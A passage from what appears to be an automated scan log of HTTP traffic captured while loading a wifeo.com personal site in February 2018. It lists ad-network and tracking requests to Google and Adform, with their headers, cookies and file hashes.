image data, version 89a, 1 x 1 Size: 43 Md5: 592ebefc7104d681d57852665e9ad514 Sha1: 15cdf8df32aa251dd6dd590a60bf9cf74474e7c5 Sha256: 4b5b6b15c6255109e06720cce42a06d3aead8b7874423d9c52cb0303212c25ef
GET /bg/IOA8y9bJh23yzX_Xx1Lzdpvil-FmhhSrkRF2am8kUAc.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://tpc.googlesyndication.com/sodar/6uQTKQJz.html	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4991 Date: Sun, 11 Feb 2018 22:21:44 GMT Expires: Mon, 11 Feb 2019 22:21:44 GMT Last-Modified: Mon, 05 Feb 2018 09:45:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000 Age: 142859 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 4991 Md5: 35c97f406c207e558268924a05d5cfb0 Sha1: 410bd15d5b2dbffb516605c9d5a2a52d8d8d6eed Sha256: 536f40cf7ac29a53a42ac183eefd062e0228e22f034f8ad2e8f1ffaaa771f5ed
GET /csimpr/?bn=21309103&csi=kxDSylZW3BOPpRnQbl_qNPzTX0_v58K22U2eWLEEnMqDbTMoIwQorwO8_7rsP1jj0 HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /Banners/21767731/21767731.gif?bv=2 HTTP/1.1 Host: s1.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: uid=5540862615520228074	37.157.6.234 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Content-Length: 15052 Connection: keep-alive Keep-Alive: timeout=15 Last-Modified: Tue, 19 Sep 2017 08:36:47 GMT Etag: "59c0d71f-3acc" P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" Access-Control-Allow-Origin: * Cache-Control: public, max-age=604800 Strict-Transport-Security: max-age=0 X-Cache-Status: HIT Accept-Ranges: bytes --- Additional Info --- Magic: GIF image data, version 89a, 468 x 60 Size: 15052 Md5: 87742ccf99a1950a3e66f12429ba7615 Sha1: 5b43913981347e76b1914daf4ae701481ce1e86e Sha256: 3458ad70db311347cc06f1e978796e11a424a4c8ae78a78d505569a1a534808e
GET /pagead/gen_204?id=sodar&v=24&t=2&bgai=B5hg3AfCCWuqoDciyYYGEtYAJAAAAADgB4AQC&bg=!p6SlpLxElacSMfm7JpICAAAAuFIAAAARCgAGo8Hx0DrcmQEjD1YeIgB79ttFuyYqRhP5RwrZIF3jvuqNCtdqZfkIX0up7lqlzXBV_dVzbujD2iW9Cq8XcTEbPrtxWEn0kYKdtEPpt_887M4lD3yD-iyqv16kB5sVZdnQ4988pkiLmd9SP8tb1GokhbTx1i5TOs5II_QXvS7rgGGCr9srJvhMeoUDoKp7D7gaHkMYTsEOB2_52OtjcriZ7ArKoQZMbMC-KmJmzc6Kqx4-brwT8J6JJpgIQMnUK3LF_ek2HL0gN6FwlYWUQVNujrrpt2_N00L-L5lHfEBGC4siqXV1qVCIPecapXCthLXEPP6_rEqs9XemAgvbSvq75VjuauvfPAoEtY1fetvf9ZXePTOKvl-sBNp7Bk_eQaRlEJEJZMdOppo7Zbp6 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://tpc.googlesyndication.com/sodar/6uQTKQJz.html	172.217.22.162 HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /pcs/view?xai=AKAOjsuRApkmTV_zOPtX8C_Yv6RNDl6UZyibxuoIUE8jRsKROBalMBy_AnKYff3iRT3-Nl2MuxoV8NBZKbW2_j11FCuaY75Nfg9PNzLVQ5rDpbJBQ6QDvxZh9qwU18l90T9yi_65gZhDe6R_1FaHLQShXhpqS6C3p9iCv5DNoiiIyKmlVGhrjq3ILh80Yehpbm2HJXEh8IEn_XOagBvrFsNxq0sER45SKoJHVMIxquy13wj-FdOGAXN9j2XqeLFXbjAdaR94MFsvnV07DwFp4GJaRodQbZNwLOwcl_mglnNmoPZDlEx3d30qrQwJshCS0aDN7P5moifbzHFuI_TqbNdA8nsRnRXetH1WMfdJsN1J0AN3CBm35aMwr8uArxwKi3ZOFE9TaAD78m2UH_9dqckQP99NHDOkRLwtD6hXlzlB3JLb3wt5pTG8BHXnEkqvZyJHQ_hRnZC8dETQMs3xSvydel3QvhwQaQWmMrSfPInP8r4GIvxDJnXScAl4GXAVcTaOAyz2sjkzW2Fx-_AejQOm1Ag4QtZMR_yJqqem5LhvT74JhBuI96TglwvpvjIkJ2cuXnNXIXhbkvcKiGcsJN2xraoshJ5UAhVh_SUnhUOdGUBiBGhHctgBpZ-iSINmGFgWrOBa9jhQP5v7u9-TaxBxbAF9A3gUMHoDSmzu1GlwZTHDGyAwFTEUv7c3f6HstlgCnqY1j_rRqPZeGr9NhHKfzKuyIr-JOJrzRNaUmjEC-4IsyCzVFH0EAFVd-ycts3F43Ys_ldhomdhAMr6R2ScXfnrVJRYyFTMC71UQZzJbsDzpAXQoVVW5PI5SDNsTQQ&sai=AMfl-YT-qokCoRUdycTUnoGNqdhGAqO7yFTAu2BmtKCrg3ra-kB66S1CbG7z7YNcVsTZQ6p1ZVfyZw7sqgwNgasPUpXdYCavovLs&sig=Cg0ArKJSzIXHQQtugRxxEAE&urlfix=1&adurl= HTTP/1.1 Host: googleads4.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471 Cookie: IDE=AHWqTUmlC3OmS97PO7IoOEVlyUMMKUewC4_WKt-3qAaSAuiQN6HvIXnn3x8Auxmr	216.58.209.130 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cache-Control: private X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:43 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /pagead/gen_204?id=sodar&v=24&t=2&bgai=B12fOAfCCWtvJD46GZvuwvugBAAAAADgB4AQC&bg=!wcKlwtpEd5lCiJvNm_YCAAAAtVIAAAASCgAGo7gZNcRwmQEjc4ynGlMxzJserL3M3_iYMcT2Rg6966PaWoSDWuns6NJkT9m87ITGr6cs-V9s6sJfDHQZigUGg0VSi5Dd-TzD-L9q-nNNsoBmha4SOxdK1SZ4uWekLxpSVeRdNsjqo1mA3lXLvZ7_fWggLZmMIVs42zP7PqLfGnQLtvpUIz6tAHzkQrtzGecsqKP7_OruwplyuRol9k6BdZQnLePDg3xvkHKdK4WBRnjwVoMrfEzBvDN_tzflt9THFNNLEVpDZ4a2Tk-PrRAwgedjcVwuiVoQv-uwo9ug1_KPczWCcT2uH1WRmSIsqFUCs_TA_4gYzaXdMXBVlCdO3Tul47eHpl2PyMXI6135uo27AnVyX97wsYMWGrtB6N_h8_ptXxGl9IG6vM2d HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://tpc.googlesyndication.com/sodar/6uQTKQJz.html	172.217.22.162 HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /serving/unload/?version=15&unload=4884062866989652075@@21309103,6943412087193422675,0\|0\|0\|0\|0\|0\|0\|0\|0\|\|0\|1\|1\|5a82f000000e77340a188f8d02011ad5_1\|\|\|1\|0\|0\|\| HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /serving/unload/?version=15&unload=4884062866989652075@@21309103,6943412087193422675,0\|0\|0\|0\|0\|0\|0\|0\|0\|\|0\|1\|1\|5a82f000000e77340a188f8d02011ad5_1\|\|\|1\|0\|0\|\| HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /serving/unload/?version=15&unload=5540862615520228074@@21309103,7853764838924771920,41\|0\|0\|0\|0\|0\|0\|0\|0\|\|0\|1\|1\|5a82f000000e78770a1897d5fe0a43b6_1\|\|\|1\|0\|0\|\| HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /serving/unload/?version=15&unload=5540862615520228074@@21309103,7853764838924771920,41\|0\|0\|0\|0\|0\|0\|0\|0\|\|0\|1\|1\|5a82f000000e78770a1897d5fe0a43b6_1\|\|\|1\|0\|0\|\| HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /v5/img/logo-wifeo-160.svg HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/svg+xml Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Thu, 22 Sep 2016 07:10:30 GMT Etag: "1963-53d135b636155" Accept-Ranges: bytes Content-Length: 6499 Vary: User-Agent Connection: close --- Additional Info ---